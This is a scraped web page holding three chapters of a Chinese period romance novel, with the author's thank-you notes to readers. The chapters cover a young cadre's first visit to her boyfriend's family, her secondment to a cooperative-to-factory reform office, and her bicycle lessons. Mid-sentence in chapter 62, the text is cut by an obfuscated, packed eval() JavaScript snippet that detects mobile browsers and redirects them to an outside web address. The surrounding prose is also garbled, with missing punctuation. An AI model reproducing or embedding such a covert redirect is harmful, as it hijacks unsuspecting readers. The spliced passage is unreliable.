“行了,别客气了,吴峥嵘将自行车停好,提起竹筐走在前面,“赶紧上楼吧,帮你把东西送上去,我还得回厂里开会。 “你要是有急事就先走吧,我喊四哥下来搬。 吴峥嵘低声笑:“难得在丈母娘面前露露脸,不差这一时半刻。 常月娥显然也没料到,吴峥嵘会将自己那份年货送到老丈人家来。 筐子上层被稻草盖着,看不清内里的东西。 即便如此,她仍是热情地招呼“峥嵘留在家里吃饭。 她对吴峥嵘的称呼是随着心情变化的。 刚开始,双方还不太熟悉,她喊对方“小吴。 元旦喝了一次酒以后,她觉得这小伙子够爽快,于是改口喊人家“峥嵘。 结果目睹他醉酒后拉着自家闺女亲嘴,常月娥对他的称呼又退回了“小吴。 吴峥嵘听她重新喊自己“峥嵘了,心知这次献 殷勤还是有一定效果的。 “阿姨,单位那边还有事呢,我在您这喝口水就得赶紧回去。 闻言,常月娥赶忙给他倒了杯温水,家里没有多余的茶缸,用的还是叶满枝那个花里胡哨的搪瓷缸子。 吴峥嵘一下午没工夫喝水,咕咚咕咚把一缸水全喝了,而后与母女俩招呼一声就快步下了楼。 透过上霜的窗玻璃,常月娥往楼下望了一眼,骑着自行车的身影很快便消失了,看来厂里真的有任务。 她转身时,叶满枝已经将竹筐上的稻草扒开了。 最上面是一个面袋子、一网兜苹果和一盒子糕点,这跟老叶和三哥的年货差不多,都是厂里发的。 下面装着一扇排骨、四个猪蹄和一大捆刀鱼。 常月娥看着筐里的东西,疑惑道:“这不会是他自己买的吧? 厂里分了猪肉和豆油,还真没见谁分了这么多排骨。 “不会,他从不在这种事上拐弯抹角,要是他买的,他就直说了。叶满枝从糕点盒子里挑了一根江米条放进嘴里,含糊道,“厂里各科室发的年货不太一样,这些可能是军代室发的。 有的车间和科室有集体奖金,过年的时候就会用小金库给职工另发一份年货。 这就是国营大厂的风格。 常月娥瞧着地上的这堆东西,更是下定决心,闺女去吴家做客的时候,一定要好好准备一份年礼! * 叶满枝在大年三十值了半天班,而后就安安心心在家过了一个热闹的春节。 大年初四这天,早就拜过年的吴峥嵘再一次来到叶家,亲自将叶满枝接去了省大老宅那边。 “我爸在驻地有任务,今年没能回来。吴峥嵘简单介绍了一下家里的情况,“我妈带着我妹妹和四哥夫妻一起回来的。 “你家不是只有兄弟二人吗? 叶满枝记得他只有一个哥哥,和一对姐妹。 怎么又冒出一个四哥来? 吴峥嵘语气平静道:“四哥是我堂哥,我大伯牺牲以后,一直被我父亲带在身边抚养。这次我哥姐都没回来,只有四哥和我妹妹,陪着我妈回来了。 叶满枝心说,他父母真是奇怪,自己的亲儿子扔回老家给祖父母抚养,然后把侄 子带在身边亲自抚养。 这是什么道理? 叶满枝不了解吴家的具体情况便没再多问很快就随他来到了吴家老宅。 尚未来得及感叹这栋房子的气派她便被听到动静跑出来的吴奶奶热情地拉进了屋里。 吴峥嵘怕她不适应家里的环境紧随几人进屋先帮她介绍了家里的亲戚们。 小妹吴岫岚比叶满枝大一岁两人算是这屋里难得的同龄人 扭头望向自家二哥时正想调侃他两句忽见他脱了军大衣露出里面的绿色毛背心。 吴岫岚端量片刻笑着赞道:“哥你这毛背心不错呀这种绿色还挺少见的。” 吴峥嵘瞟一眼沙发上的小叶干部轻笑一声没说话。 叶满枝只当没听懂他那笑里的含义轻轻移开了目光。 她最近实在太忙了俏绿俏绿的毛衣还差两个袖子没织好眼瞅着就过年了只能让他先穿个毛背心凑合着好歹算是一件新衣服。 等她有空的时候再把那俩袖子补上。 作者有话要说 一百个红包明天见~ 感谢在2024-08-1912:36:32~2024-08-2012:48:45期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出手榴弹的小天使:是HyunA1个; 感谢投出地雷的小天使:俏绿俏绿的毛衣安排了、猫猫喃喃、许三公子1个; 感谢灌溉营养液的小天使:crase2011176瓶;安麒°173瓶;31096920131瓶;守望110瓶;祭司106瓶;恃甜行凶93瓶;是HyunA77瓶;3399991872瓶;酒酿芋圆66瓶;xxi60瓶;别丧打起精神来56瓶;啊岩52瓶;、朕不能不行50瓶;爱吃肉肉的小猫36瓶;listen35瓶;初岚、哪儿来这么多如果、哇咔咔卡卡、簇拥烈日的花30瓶;我的格子2、南宫、桃良是三月呀28瓶;酸甜bb27瓶;可恶能不能努力点25瓶;爱乐24瓶;salinabeij22瓶;墨染槿涩、hubud、晼笛 第 61 章 吴峥嵘:寺庙旁边... 第61章吴峥嵘:寺庙旁边 与叶家的豪华阵容相比,吴家这边的十来人只能算是小场面。 叶满枝认了一圈人,收了好几个过年红包后,紧张了一路的情绪,总算有了缓和的迹象。 “奶,您也太偏心了,当初我们秋玲登门的时候,您可没给过这么大的红包!”说话的是吴峥嵘的四哥吴崇山。 吴奶奶笑着瞪他一眼,“你媳妇还没说什么,你倒是先急了!” “我媳妇脸皮薄,有意见也不敢提呀!” 孟秋玲红着脸埋怨:“我小时候就收过奶奶的红包了。人家小叶第一次来做客,你别把我说得像个小心眼儿似的行不行!” “我这不是替你说话嘛,”吴崇山插科打诨了一阵,又对叶满枝说,“小叶,你别介意啊,我们开玩笑呢!” 叶满枝的目光在他面上快速掠过,故作腼腆地笑了笑。 吴峥嵘的这个堂哥,国字脸,浓眉大眼,除了一身军装,全身上下没有跟吴峥嵘相似的地方。 不但外形不像,性格也不像。 堂哥能说会道,自她进门以后,一直由他和吴小姑负责调节气氛,不但把吴奶奶和吴妈妈哄得眉开眼笑,连严肃的吴爷爷都目光慈祥地望着他。 叶满枝平时很喜欢与这样性格的人相处,比如刘金宝,有他们在场,气氛总是很活跃的。但是今天不知怎么回事,她心里竟没来由地有点烦这个堂哥。 她下意识将目光投向吴峥嵘,对方穿着白衬衫和俏绿的毛背心,像只骄傲的孔雀似的,姿态放松地靠坐在对面的椅子里。 吴峥嵘似乎一直在留意她的动静,稍有风吹草动,便眉梢轻扬,用眼神询问她怎么了。 叶满枝微不可察地摇摇头,而后突然就释怀了。 吴峥嵘这张脸,要是配上堂哥那样的性格,岂不是妥妥的花花公子? 幸好他没变成那样,她才不想跟油嘴滑舌的男人谈恋爱呢! 吴岫岚与叶满枝坐在一起,见她安安静静地微笑倾听,不怎么爱说话,果然如奶奶所言,是个极文静的小姑娘,不由往堂哥那边瞅了一眼,今天是小叶第一次登门,堂哥性格开朗、言笑晏晏,难免显得喧宾夺主。 她抓 了几颗水果糖分给叶满枝一颗笑问:“小叶听我哥说你前阵子上报纸了还是头版头条?你可真能干!” 闻言大家的目光再次汇聚到主角叶满枝身上。 叶满枝其实不在乎被喧宾夺主她巴不得再多几个人分散大家的注意力。 像吴峥嵘在她家那会儿只要吃饭喝酒就行话都被她家亲戚说了。 不过上报纸这事确实挺让她自豪的即使已经在家吹了半个月此时被人问到还是觉得特别欣喜。 她依照惯例谦逊道:“我是代表单位去参会领奖的没想到会被报社选中把发言的照片刊登在报纸上了。” 听了这话的吴峥嵘忍不住牵起唇角小叶干部虽然谦虚但短短一句话还是强调了三个关键点。 第一她是去领奖的;第二她上台发言了;第三发言效果应该是很好的否则不会被报社选中。 吴岫岚走的是学术路线还是单纯的在校女大学生听了叶满枝的话并没觉察出她暗戳戳的炫耀只觉得这未来小嫂子挺厉害的。 她正想给小嫂子捧捧场堂哥却再次插话道:“你这么年轻就上过报纸已经比我们都厉害了我们在你这个年纪的时候真没有这个本事!” 吴小姑笑道:“那你可是记错了当年峥嵘得了全省会考第一也是上过报纸的那报纸我还留了好几份呢。这样看来小叶和咱家峥嵘真是登对!” “哈哈哈谁能跟峥嵘比呀!”吴崇山笑嘻嘻道“峥嵘是继承了爷爷衣钵的他从小被爷爷带在身边言传身教不考个第一像话吗?我们这些哥哥姐姐都特别羡慕他咱家到了我们这一辈文化水平都不高。还好峥嵘和岫岚是大学生否则咱吴家书香门第的招牌就要毁在我们手里了!” 孙汝珍不以为然道:“当时时局动荡前线也吃紧你们几个能读到中学就已经很不错了没有必要妄自菲薄。” 听了吴峥嵘堂哥和亲妈的话叶满枝忍不住腹诽按照你们的意思只要跟在吴爷爷身边 读书也是需要天赋的好吧? 她们学校每年只有一两人能考上大学大学岂是那么好考的? 你们上下嘴皮子一碰考大学变得跟吃饭喝水似的简 单。 她原本打算在吴家当一个文文静静的漂亮姑娘,这会儿却忍不住想替吴峥嵘同志辩解几句了。 然而,让她意外的是,吴峥嵘在家和在单位完全是两种不同的画风。 不等她帮腔,他那张英俊的面孔上已经带出了嘲讽。 “照你们这个意思,寺庙旁边的猪都会念经。四哥,你跟大哥他们在学业上确实被局势耽误了。不过,你也不用妄自菲薄,你们常年跟在吴政委身边耳濡目染,以后必定会青出于蓝当个司令或政委的。” 叶满枝往堂哥的肩章上望去。 与吴峥嵘一身轻松的打扮不同,堂哥今天是穿了军装的。 她不太会认军衔,但堂哥肩上的星星比吴峥嵘少一颗,不知他在部队是干什么的,只从星星来看,军衔应该比吴峥嵘低一些。 “……”吴崇山被他的反戈一击噎了一下,缓了半晌才回道,“司令哪是那么好当的?人家小叶第一次上门,你就不能给我这个哥哥留点面子?” 吴峥嵘笑了笑没说话。 别人也许不懂他这笑里的含义,但吴小姑把他拉扯大,完全能读懂他的意思——我媳妇第一次上门,你也没给我留面子啊。 她这两个侄子,年纪只相差一岁,一个没了亲爹妈跟着叔婶过日子,一个有亲爹妈跟着爷奶过日子。 其实俩孩子都不容易。 但这世上向来是会哭的孩子有奶吃,崇山每次回老家总要有意无意地诉诉苦,从他爷奶那里讨点好处。 因着儿子早早牺牲了,老爷子对这个孙子也相对比较宽容。 对吴峥嵘的刻板教条,并没有沿用到吴崇山身上。 不过,峥嵘的精神世界似乎与其他孩子不太一样,对于同龄堂哥的挑衅,他要么无视,要么回以看笨蛋的眼神。 像今天这样直接正面回应的情况,她还是第一次见到。 吴小姑猜测,也许与他媳妇首次登门做客有关。 她连忙打圆场说:“你俩那么大的人了,怎么还跟孩子似的斗嘴,多让小叶看笑话啊!饭菜早就准备好了,咱们赶紧开饭吧!听说小叶喜欢吃海鲜,我特意做了一道油焖大虾,还做了大黄鱼。小叶,你今天尝尝我的手艺!” 叶满枝笑着道谢,同时在心里狠狠 松了一口气。 幸好吴峥嵘及时开口了否则她这文静乖巧的淑女形象在吴家长辈面前可就保不住啦! 吴家的家庭环境整体还是比较和谐的也没有食不言寝不语的习惯。 因着她是女方又是第一次正式登门长辈们并没当着她的面谈论嫁娶的话题大多是问问她的工作和兴趣爱好。当然吴爷爷还比较关心年轻人的学习进步。 除了吴峥嵘几个年轻人的学业情况都被他一一关心了一遍。 饭桌上仍是堂哥的主场吴峥嵘并不怎么讲话还没他俩在厂里单独吃饭时的话多。 不过由于有他时不时帮忙夹菜叶满枝前前后后吃了半盘子油焖大虾。 而且吴峥嵘是左撇子她把剥掉的虾壳放在两人中间根本看不出是谁吃的。 嘿嘿嘿。 吴小姑想在饭后组织牌局 她这次来做客不但给吴家孩子带了红包也给自己带了钱包。 今天还是输得起的! 然而吴峥嵘却替她拒绝了小姑“她下午还得早点回去我带她在家里参观一下一会儿再去省大校园里转转。” 小姑也只是以防小姑娘尴尬想找点娱乐活动而已闻言立即说:“这样更好!你负责带小叶到处看看吧!” 于是叶满枝就在全家人的注视下被吴峥嵘带上楼参观了。 “咱俩单独进来没事吗?奶奶和阿姨她们还在楼下呢。” 吴峥嵘将门合上语气随意道:“我早就跟你说了跟我妈随便见见就行了他们常年在外地工作双方好几年都碰不上一面。我奶奶挺喜欢你的你以后跟她相处的时间可能会比较多。” 叶满枝最开始还没发现但一顿饭的工夫该看的基本都看明白了。 这对母子似乎没怎么说过话倒也不是生疏客气就是没话聊的那种状态。 吴峥嵘不是会没话找话的人孙汝珍似乎也不知道能跟儿子说什么。 于是就全程零交流。 与吴峥嵘相比堂哥反而更像她未来 婆婆的亲儿子! 如果常月娥敢对别家孩子比对她好,叶满枝肯定要大闹特闹,将屋顶掀翻的。 而吴峥嵘却只是默默看着。 哎。 叶满枝有点替他伤怀,忍不住伸手搂住他的腰,将脑袋贴到胸膛上蹭了蹭。 算是给他一点点安慰吧。 吴峥嵘还不知她已经把自己脑补成小可怜了,在她背上拍了拍,问:“今天感觉怎么样? “挺好的呀,除了菜窖,我还从没见过室内有楼梯的住宅呢!而且墙壁上还挂着好多字画,一看就很有文化底蕴。 吴峥嵘被她的形容逗笑,“那你以后可以经常过来玩,我奶奶很喜欢你。 叶满枝仰头看他,“那是你喜欢我多一点,还是你奶奶喜欢我多一点。 “我。 听到了想要的答案,叶满枝心里又有点不是滋味了。 吴峥嵘多好啊!连她都这么喜欢吴峥嵘,他妈妈为什么会那么冷淡呀! 常年见不到儿子,好不容易相见了,不是更应该对他好点吗? 有了妈妈的对比,她觉得吴爷爷都变得可爱了。 “我们参加全国曲艺汇演,会有亲友票,到时候要不要请爷爷奶奶去看我演出? “你想邀请吗? 奶奶挺喜欢这类演出,但吴峥嵘怕叶满枝有压力,并没跟家里提过她要随队参加演出的事。 “可以邀请呀,叶满枝问,“阿姨、岫岚和四哥他们什么时候离开? “过完年就回去了,可能赶不上你的演出。 “哦,那还怪可惜的。叶满枝不走心地感叹了一句,又苦恼地问,“我要是邀请奶奶去看我的演出,用不用写一张请柬啊? 吴峥嵘觉得她这副如临大敌的样子还挺可爱的,配合地说:“你想写就写,不想写的话,给她一张门票就行了。 叶满枝当然是想写请柬的。 毕竟吴奶奶邀请她来做客的时候,也写了请柬。 但她那笔字练得还不到火候,主动写请柬,不是暴露短板吗? 吴峥嵘瞥见她脸上的纠结,低声说:“我奶奶以前没读过书,跟我爷爷结婚以后才开始学认字的。她从十几岁开始练字,练了一辈子才写成如今 这样。你才几岁?没必要跟她比 话虽如此但叶满枝当天从吴家告辞时并没邀请长辈去看她的演出。 她想回家再临时抱抱佛脚突击写几张字帖。 到时候大显身手好好写一张请柬! 每当需要写字的时候她都格外想念凤姨要是能被凤姨附身就好了。 实在不行被吴峥嵘附身也好啊! * 叶满枝初次去未来婆家做客除了她自己最关心结果的人就是常月娥。 常月娥当晚就跟闺女复盘了一下白天做客的情况。 结果叶满枝惊奇地发现她未来婆婆不但没怎么跟吴峥嵘说话也没怎么跟她说过话。 除了给她红包的时候问过她的年龄和工作之后就再没什么有用的交流。 常月娥问:“她跟其他人有话说吗?” “我没注意啊好像也没什么话。” 常月娥不想让闺女胡思乱想于是直接下了结论:“那你这个婆婆就是话少的人跟谁都不热乎!她跟自己儿子都不热乎能跟你热乎得起来吗?就你这样的不可能有人不喜欢。跟你热乎不起来那是她的问题!” 叶满枝一下子就释然了对啊她不觉得自己有什么毛病那肯定就是对方的问题了。 无论如何去过吴家以后叶满枝算是把这个春节最难的一关闯过去了。 放下心事以后她又在家痛快地玩了两天再去单位上班时精神奕奕地给同事和街坊们拜年完美诠释了什么叫新年新气象。 穆主任给大家开了新年的第一次例会大家精气神不错会议气氛特别活跃。 开年最主要的三件事动员青少年种痘继续动员剩余劳动力返乡另外还要开始准备开春以后修建小学。 这三件事都不算什么特别紧急的工作大家听了以后反响并不热烈。 直到穆主任提出让叶满枝作为本街的联络员去区里参与“合作社转厂”的改革工作办公室里才突然有了不同的声音。 “主任合作社属于工业范畴吧?工业不是我在负责的工作吗?” 庄婷是跟张勤简一起分管街道工业工作的。 参与“合作社 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465589|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转厂的改革工作,可以直接跟区里联系,还可能会接触到工业局、财政局等单位的同志,当联络员是个很好的扩展人脉的机会。 如果是别的事情,错过也就错过了,她没必要为了工作的事情跟同事撕破脸。 但这份工作要是干好了,明显是能出成绩的,要是走走门路,没准儿还能趁机去区里工作。 庄婷不可能把自己的机会让给别人。 她属于心思很活络的年轻干部,她的想法,穆兰能猜到几分。 穆兰不介意年轻人争取进步,如果她像小刘似的私下找门路跳槽,穆兰不会阻拦。 但是把街道提供的工作机会当成跳板,那就不行了。 “合作社的全称是手工业合作社,主要还是手工业,之前一直由市里的手工联社垂直管理,咱们街道基本不用操心。不论是你负责的工业工作,还是小叶负责的家庭手工业,与合作社都没什么交集。小叶在去年的手工业工作上做出了一定成绩,这次先让她当联络员与区里联系。庄婷的工作热情是值得肯定的,可以配合一下小叶的工作。咱们尽量把这个改革工作圆满完成。 庄婷:“…… 不但不让她当联络员,还要配合叶满枝的工作? 叶满枝本来就挺想给区里当联络员的,被庄婷突然横叉一杠子以后,她就更觉得这个联络员是香饽饽了。 私心里,她觉得自己比庄婷和张勤简合适呀! 光明街去年在工业上的工作,只能算是中规中矩,但她可是凭借家庭手工业得了二等模范的! 她觉得这个机会是自己凭实力争取的,所以,尽管与庄婷的关系变得有点微妙,仍是心安理得地接受了穆主任的安排。 …… “我最近每天都要去区人委那边,你说我要不要买一张公共汽车的月票? 吴峥嵘问:“月票多少钱? “只坐无轨电车的话三块多,如果买无轨电车和铛铛车都能坐的,好像要七块多。 区人委还挺远的,叶满枝实在受不了每天步行上下班。 吴峥嵘建议:“其实你可以学习骑自行车,你买几个月的月票钱,都能买俩车轱辘了。 “我把自行车骑走了,那你怎么办啊? “等你学会以后可以考虑买一辆你自己的自行车。” 叶满枝心里蠢蠢欲动但还是摇头说:“算了我还是不学了。买辆自行车每年还得交两块四的税费投入太高了我还是坐汽车吧。” 她只在区里呆一段时间以后还是在家门口上班。 弄个自行车花费太多了不划算。 叶满枝压下想要学骑自行车的念头将手工合作社的相关资料整理好以后就去区里报到了。 “手工业合作社转厂改革办公室”是区人委临时成立的部门。 区人委给这个新部门在一楼腾出了一间办公室。 叶满枝背着挎包找过去时办公室里已经来了七八个人正热火朝天地在里面打扫卫生。 她正寻思哪个是领导要跟谁报到的时候办公室里有个中年女干部冲她招招手。 “小张是吧?快过来一下!” 叶满枝回头往身后瞅瞅发现后面没有别人了这个“小张”喊的可能就是她。 见她傻愣着不动那女干部又招招手“小张喊你呢!” 叶满枝只好走过去拉下围巾说:“领导您喊我小张也行不过大家都习惯喊我小叶。” 对方在她脸上打量几眼哎呦一声说:“瞧我这眼神哈哈认错人了。小叶是吧?你是哪个单位的?” “我是光明街道办事处派来的联络员 “哦哦叶满枝我知道你们穆主任跟我说过上过报纸的那个小干部挺好穆兰算是给咱们办公室送来了一员干将!” 梁秋燕将手套摘下来翻出一个小纸条说“咱这办公室刚成立连卫生都没打扫好呢百废待兴啊!你先拿着这个去后勤把咱们办公室的餐票和公车领了以后咱们吃饭和出行就全靠这个了。” 叶满枝心里挺激动问:“领导区里管饭呀?” “那当然了借调来的干部以后一天两顿都在咱人委食堂吃!区里体谅同志们出门调研路途太远比较辛苦还给咱们拨了三辆专车你直接去后勤提车去吧!” 叶满枝着实没想到来区里工作居然能有这么好的待遇。 天啊她以后出门就可以乘坐公务用车啦! 她 打听了后勤科的位置,兴冲冲地跑去申请专车。 然后,一路跟着后勤科的小干部,来到了人委门口的自行车棚。 “这几辆自行车都是可以给你们用的,你先挑三辆吧!” “……”叶满枝绷着脸问,“自行车啊?” “不然呢?” 叶满枝:“……” 她以为是四个轮子的呢! 这自行车她不会骑呀! 看来还是得回去跟吴峥嵘学骑自行车,否则这专车的待遇她都享受不到! 作者有话要说 一百个红包,明天见~ 感谢在2024-08-2012:48:45~2024-08-2112:44:42期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:苗苗苗,?、喵喵喵?、洋葱、李娟1个; 感谢灌溉营养液的小天使:Sharon1000瓶;月小叶329瓶;桐文206瓶;22849769169瓶;丁西亨、好看爱看(???)113瓶;木木100瓶;外星人秋裤98瓶;顏燕鹽82瓶;玖墨寒79瓶;jrxnl75瓶;么么哒65瓶;旖旎、打酱油De路人甲60瓶;Erinnotsay52瓶;小小51瓶;熊熊47瓶;岐樾45瓶;书香缱绻44瓶;陈安、书粉冲冲冲、hope&sun、12576198、飘零闲云30瓶;脆桃29瓶;爱你27瓶;可恶能不能努力点25瓶;我想长高女士22瓶;么么哒、酒酿圆子、sissiidun、30650978、nibawawa、limify、喵喵喵?、bobofighting、HMC、啊嘟、玉落成尘、旺仔、是饼饼吖、100斤、凌寒独自开、酥心糖、别叫我上班呀、小阿莹、慕冬、哒哒哒、螃蟹、则灵、柒染、失眠远离我、彩墨?、菜菜葡萄20瓶;!!!!16瓶;星星star15瓶;舒意14瓶;磨磨的仙人掌、盼望加更的猫12瓶;阿福、哇!我中了壹仟万元、慕斯、是阿璇呀、蔚蔚、萌物猫罐头、哇汪汪、青矜.?、21387020、李然的生活、土人、倪好啊、罗小妞妞、wuyun、zywyr 第 62 章 合作社转厂改革办... 第62章合作社转厂改革办 叶满枝精挑细选了三辆半新不旧的自行车,等她拿着餐票和车钥匙返回办公室时,改革办的所有成员都到齐了。 区里对这次改革工作很重视,区长将亲自挂帅,担任改革办主任。 而刚刚给大家安排工作的大姐梁秋燕,原本是区人委办公室的副主任,这次将兼任改革办的副主任,负责新部门的日常工作。 除了主任副主任,另外十位成员都是从政策研究室、工业局、财政局、街道办等单位借调来的。 叶满枝负责给大家发餐票,发到最后一位黎婷婷时,对方拉住她问:“叶满枝,你是光明街的?” “对啊,光明街道办的。” “那你认识董城吗?” 叶满枝摇摇头,一条街上将近两万居民,她不可能人人都认识啊。 “罗小静呢?” 叶满枝再次遗憾摇头。 “林青梅呢?” 正要摇晃的脑袋陡然改为点头,“认识认识,青梅是我好朋友!” “那咱们可太有缘了!”黎婷婷高兴道,“我跟林青梅是区委理论学习班的同学,还一起参加过好几次市里举办的交谊舞会呢。” 叶满枝笑道:“青梅的交谊舞跳得特别好,我的交谊舞就是跟她学的!” 在陌生的环境里,通过七拐八绕的关系,结识了一个“熟人”。 这让她略有些忐忑的心情,突然就安定了。 黎婷婷显然也为找到熟人做伴而欣喜,亲热地拉着她问:“小叶,一会儿分组的时候,你要不要跟我一组?” “咱们办公室里还要分组吗?”叶满枝疑惑脸。 “当然要分啊!你没发现这里只来了三个街道的联络员嘛!”黎婷婷小声说,“我们财政局也来了三个同志!我刚才问过梁主任了,你们这三个街道是手工业合作社最多的街道,先拿你们这三个街道当试点,每个试点组成一个改革小组。” 叶满枝笑着说:“那行啊,如果梁主任没有其他安排,咱们正好可以组成一组!对了,你会骑自行车吗?领导给咱们配了三辆公车,要是真像你说的这样分组,也许每个小组能配一辆自行车。” 乍然听到这种好消息,黎婷婷面上难以抑制地露出了惊喜,“会倒是会,就是没怎么骑过。” 叶满枝心想,看来并不是她土包子,财政局的同志肯定见过世面,人家都这么高兴,说明改革办的待遇确实很高。 梁主任为新部门申请的三辆自行车,算是迅速将同志们的心思拢住了。 大家收拾好办公室,又在食堂用过午餐后,梁秋燕组织改革办的同志们开了一个动员会。 正如黎婷婷所说,梁主任先给所有人进行了分组。 每个小组里有一位街道联络员,一位工业局的同志,再配一个财政局的同志。 叶满枝和黎婷婷的平均年龄才二十出头,梁主任给她们这组分配的第三位成员是老成持重的冯大成。 不同于办公室里的另外几名中年男干部,冯大成的头发特别茂密,白胖圆脸,笑的时候还会眯眯眼。 要是在干部服外面系一条围裙,说他是食堂大师傅,也有人信。 然而,老成持重眯眯眼的冯大成同志,却在完成分组以后,率先向所有人开了一炮。 “梁主任,咱们改革办已经成立了,我现在说这种话也许有泼冷水和马后炮的嫌疑,但是我接到局领导分配的任务以后,其实对这次改革工作是心存疑惑的。” 梁秋燕并不意外地点点头,“既然是试点,说明大家都是第一次参与这项工作,有的同志心有疑虑是正常的,有问题就趁早提出来,咱们可以一起讨论讨论嘛。” “那行,我就先说说我的想法。”冯大成直言道,“手工业合作社是集体性质的,也就是说,在这些合作社成立之初,社员们是出钱参股的。据我了解,合作社里几乎所有人都参股了,要么出钱,要么出设备。咱们现在要把集体的合作社,变成全民所有制企业,是否有理论依据?这在实践上完全……” 叶满枝听他斟酌着措辞,讲了十来分钟。 总结下来非常简单,把集体财产变成全民的,这样操作是否合法? 冯大成是机关老油子了,他心有疑虑,但有些话又不能说得太直白,只好拐弯抹角地输出观点。 其实,叶满枝刚接到任务的时候,脑子里也闪现过类似的想法。 她虽然参加工作半年了,但平时接触的都是群众 工作思想上更接近普通群众。 把合作社转成地方国营工厂只从字面上看很容易被人解读为私有的转成公有的个人的变成国家的。 这事好说不好听啊! 改革工作尚未启动 冯大成说得隐晦但是连叶满枝这样的小年轻都能领会他的意思其他人就更能理解了。 梁秋燕很严肃地强调:“我要声明一点!市里主导将合作社变成国营工厂不是为了侵占个人或集体财产!转厂以后社员的股金会以现金形式退回生产工具或厂房也会给予一定的折旧费咱们从财政局抽调的三位同志其中一项重要工作就是给社员退股。” 至于这次改革的理论依据她请市委政策研究室派来的研究员替大家解惑了。 研究员叫余振芳也是位中年女干部笑呵呵地说:“大家不要太紧张市领导既然想搞试点前期肯定是做过调研的。” 她举了一个很通俗的例子。 “从区人委大门走出去右转有个维修合作社。这也算是手工业合作社吧?” 大家点点头。 “我早上去看过了这合作社里有八个师傅以前都是单打独斗搞维修的属于个体私有制。然后八个人合作组成一个合作社有钱的出钱有工具的出工具合作社就变成集体所有制了。这么说大家都理解吧?” 能被派来改革办的人都是各单位的精兵强将。 对这些最基本的情况不可能不懂。 于是继续点头。 余振芳是搞理论研究的但是解释起理论问题却特别接地气。 “通过这个小小的维修社就能看出来了集体所有的合作社是从以前的个体私有制过度而来的而将集体所有制过度到更高级的全民所有制又为什么不可以呢?合作社经济不是一成不变的!这个问题在《大公报》上已经有人探讨过了有兴趣的同志可以看一看。” 叶满枝将具体日期记下来打算回去找出《大公报》看看。 她平时只阅览本地报纸和《人民日报》其他报纸还真没怎么看过。 余振芳继续道:“至于是否有必要将合作社转成国营工厂我觉得是十分有必要 的!我先跟大家分享几个真实案例。” “咱们市里的第五铁器社,规模不算小,去年五金公司为了支援外省赈灾,给这个铁器社下了一笔2000把斧头的订单。赈灾工作嘛,利润肯定不会太高的,结果就因为利润低,这个社生产的2000把斧头中有1400把因质量不合格被退回了!” “还有一个东风棉织社,原本想要扩大生产规模,结果年底给社员分红以后,买机器的钱不够用了。市第二棉织厂有十多台闲置的电力铁木机,其实是可以给东风棉织社使用的。但是他俩一个国营工厂,一个集体合作社,市里想把设备调剂过去都没有办法……” “……” 叶满枝快速记录着笔记,然后在心里替她总结了一下。 集体企业有股金和分红,社员在思想意识上更注重自身利益,看中经济效益,不愿意接受带有重大政治意义的任务。 而且合作社的设备归集体所有,社与社,社与厂之间都不能调拨,国家也无权支配。 这已经无法满足社会主义建设高速发展的需要了。 叶满枝竖着耳朵听大佬们的讨论,感觉像在进修班上课。 一下午的时间,算是让大家认可了改革的重要性。 梁主任觉得这种讨论是非常有必要的,如果连改革办的人都是带着疑虑工作的,想要说服社员同意转厂就更不可能了! * 最开始的几天,改革办先在区里工作,规划出一套改革方案,暂时不用去合作社调研,也就用不上公车。 叶满枝想趁着这个工夫,尽快学会骑自行车。 冯大成是工业局的干部,平时就是骑着自行车上下班的,所以改革办分给组里的那辆公车,能由叶满枝和黎婷婷轮换着使用。 黎婷婷说可以在出门调研的时候骑车载她,但是路程那么远,黎婷婷也是女同志,她哪好意思一直让人家出力呀,肯定要两人轮换才行! “要想学会骑自行车,大概需要多长时间?” “快的话半个小时就能学会了,慢的可能几个月也学不会。”吴峥嵘言简意赅道,“靠悟性。” 叶满枝自信地说:“我悟性应该是不错的,我小时候去石道街那边玩,好几个算命师傅都说我有慧根。” “……”吴峥嵘笑“算命的跟媒人一样什么事都能说得天花乱坠。” “讨厌。”叶满枝偷偷在桌下用脚尖踢他“你应该能让我在三天内学会骑自行车吧?” 吴峥嵘对这种事真的不能保证学骑车似乎与智力、体力没什么关系。 军代室里有个小伙子身强体壮还挺机灵可惜就是学不会骑车。 “我争取让你尽快学会吧。” 两人在食堂吃完饭 从军工大院东门到16号院的这条路上道路平整积雪也被清理了正适合她学车。 叶满枝推着自行车从院儿里出来望一眼前方平坦的小径心里还有点犹豫。 “我在这里学骑车会不会撞见其他厂领导啊?” 吴峥嵘信誓旦旦道:“不会你看这路上哪有人?” 他们顶多趴在自家窗口上看一看不会当着他俩的面说什么。 出于长久以来的信任叶满枝再次信了他的鬼话扶着车把跨坐到了车座上。 “你可把稳了啊!”她不放心地叮嘱“这件棉袄是过年新做的我还挺喜欢呢别给我摔坏了!” 吴峥嵘:“……” 不心疼自己倒是挺心疼衣裳的。 “嗯你大胆骑吧。” 他一手控制车把另一手扶着座椅先推着叶满枝走了两圈让她体验一下骑车的感觉。 叶满枝没什么感觉只觉得视野挺高被人推着走还挺有趣的。 两人一个推一个骑很快就走到了大院门口。 不等叶满枝扶着车把转弯便迎面遇上了一位刚接孩子放学的女同志。 孩子坐在大梁上孩子妈推着自行车往院儿里走。 双方在门口狭路相逢叶满枝还没反应过来就听对面的孩子妈先噗哧一声笑了出来。 叶满枝瞅瞅自己又望一眼对面大梁上的小姑娘瞬间被闹个大红脸。 好在吴峥嵘及时提高声音说:“学骑车的时候专心点不要左顾右盼你重心不稳导致车把一直来回摇晃……” 间接告知人家他们这是学习骑车呢。 等他们重新返回16号院叶满枝脸上的红晕才渐渐消散了一些。 他俩私下可以做很亲密的事情,但是这院儿里都是熟人,被人撞见吴峥嵘像推小孩似的,推着她骑车,绝对能被熟悉她的婶子大娘调侃一年! “要不我自己试试吧?” “可以。” 